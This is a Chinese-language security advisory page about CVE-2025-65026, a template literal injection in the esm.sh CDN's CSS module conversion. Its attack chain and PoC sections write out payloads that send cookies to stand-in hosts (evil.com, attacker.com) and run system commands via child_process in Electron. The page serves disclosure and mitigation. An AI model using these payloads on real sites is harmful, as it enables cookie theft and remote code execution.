IPBUF安全漏洞报告
English
CVE-2025-65026 CVSS 6.1 中危

CVE-2025-65026 esm.sh CDN Template Literal Injection漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65026
漏洞类型
模板注入/跨站脚本攻击(XSS)/远程代码执行(RCE)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
esm.sh CDN

相关标签

模板注入XSSRCEesm.shCWE-94CDNElectron内容注入CVE-2025-65026

漏洞概述

esm.sh是一个面向现代Web开发的无构建内容分发网络(CDN)。在版本136之前,该服务在CSS到JavaScript模块转换功能中存在模板字面量注入漏洞(CWE-94)。当用户请求带?module参数的CSS文件时,esm.sh会将CSS内容直接嵌入到JavaScript模板字符串中,而未进行适当的清理和转义处理。攻击者可以利用CSS文件中的${...}表达式注入恶意JavaScript代码。当受害者的应用程序导入该模块时,恶意代码将在浏览器中执行,导致跨站脚本攻击(XSS)。在Electron应用程序中,此漏洞甚至可以进一步利用实现远程代码执行(RCE),因为Electron环境对Node.js API的访问限制较为宽松。该漏洞影响所有使用esm.sh CDN服务进行CSS模块导入的Web应用程序和Electron应用。

技术细节

漏洞根源在于esm.sh的CSS模块转换逻辑。当解析到带有?module查询参数的CSS文件请求时,服务端代码会生成类似如下的JavaScript模块代码:export default `原始CSS内容`; 攻击者可以在上传或引用的CSS文件中插入JavaScript模板表达式,如:.class { color: ${alert(document.cookie)} }。当受害者的前端代码通过import语句加载该CSS模块时,${}表达式会被JavaScript引擎解析执行,从而触发任意JavaScript代码执行。在Electron应用中,由于默认启用了nodeIntegration且上下文隔离配置可能不当,攻击者可以进一步利用child_process模块执行系统命令,实现完整的远程代码执行。修复方案是在将CSS内容嵌入模板字符串前,对所有特殊字符进行转义处理,或使用安全的字符串拼接方式替代模板字面量。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用使用esm.sh CDN服务加载CSS模块,检查目标应用是否通过?module参数导入CSS文件
STEP 2
步骤2: 恶意CSS文件准备
攻击者创建包含模板表达式的恶意CSS文件,如:.pwn { color: ${fetch('https://evil.com/steal?c='+document.cookie)} }
STEP 3
步骤3: 诱骗受害者访问
通过社工手段或XSS等方式诱使受害者的浏览器加载攻击者控制的CSS文件URL
STEP 4
步骤4: 模板注入执行
esm.sh服务器将恶意CSS内容嵌入模板字符串生成JavaScript模块,攻击者的${...}表达式被解析执行
STEP 5
步骤5: 敏感数据窃取
恶意JavaScript代码在受害者浏览器上下文中执行,窃取Cookie、Token等敏感信息并发送到攻击者服务器
STEP 6
步骤6: RCE扩展(Electron)
在Electron应用中,由于Node.js集成,攻击者可进一步利用child_process模块执行系统命令实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// attacker-controlled.css file content: // .malicious { color: ${require('child_process').execSync('calc.exe')} } // Victim application code: import maliciousStyles from 'https://esm.sh/attacker-controlled.css?module'; // In Electron with nodeIntegration enabled, this will execute calc.exe // Alternative XSS PoC: // .xss { background: url(${document.location=`https://attacker.com/?c=${document.cookie}`}) } // PoC for testing: fetch('https://esm.sh/https://example.com/malicious.css?module') .then(r => r.text()) .then(console.log);

影响范围

esm.sh < 136

防御指南

临时缓解措施
如果无法立即升级esm.sh,可采取以下临时措施:1) 避免使用esm.sh的?module参数加载外部CSS文件;2) 对加载的CSS模块内容进行严格过滤,移除所有${...}模式;3) 在前端代码中使用CSP头部限制脚本执行;4) 对于Electron应用,确保nodeIntegration设置为false并启用contextIsolation;5) 使用CSP的script-src和style-src指令限制外部资源加载;6) 考虑自建esm.sh服务并应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表